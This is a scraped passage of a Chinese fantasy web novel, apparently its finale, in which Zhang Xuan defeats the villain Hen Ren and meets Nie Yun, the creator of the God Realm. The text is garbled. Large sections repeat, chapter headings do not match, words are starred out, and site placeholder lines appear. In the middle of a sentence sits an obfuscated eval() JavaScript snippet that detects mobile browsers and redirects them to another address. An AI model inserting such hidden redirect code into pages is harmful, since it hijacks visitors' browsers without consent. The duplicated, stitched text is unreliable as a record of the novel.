神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第34章足以载入史册的宫廷巨变 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546007|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第35章鬼蜮伎俩,也敢班门弄斧 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? 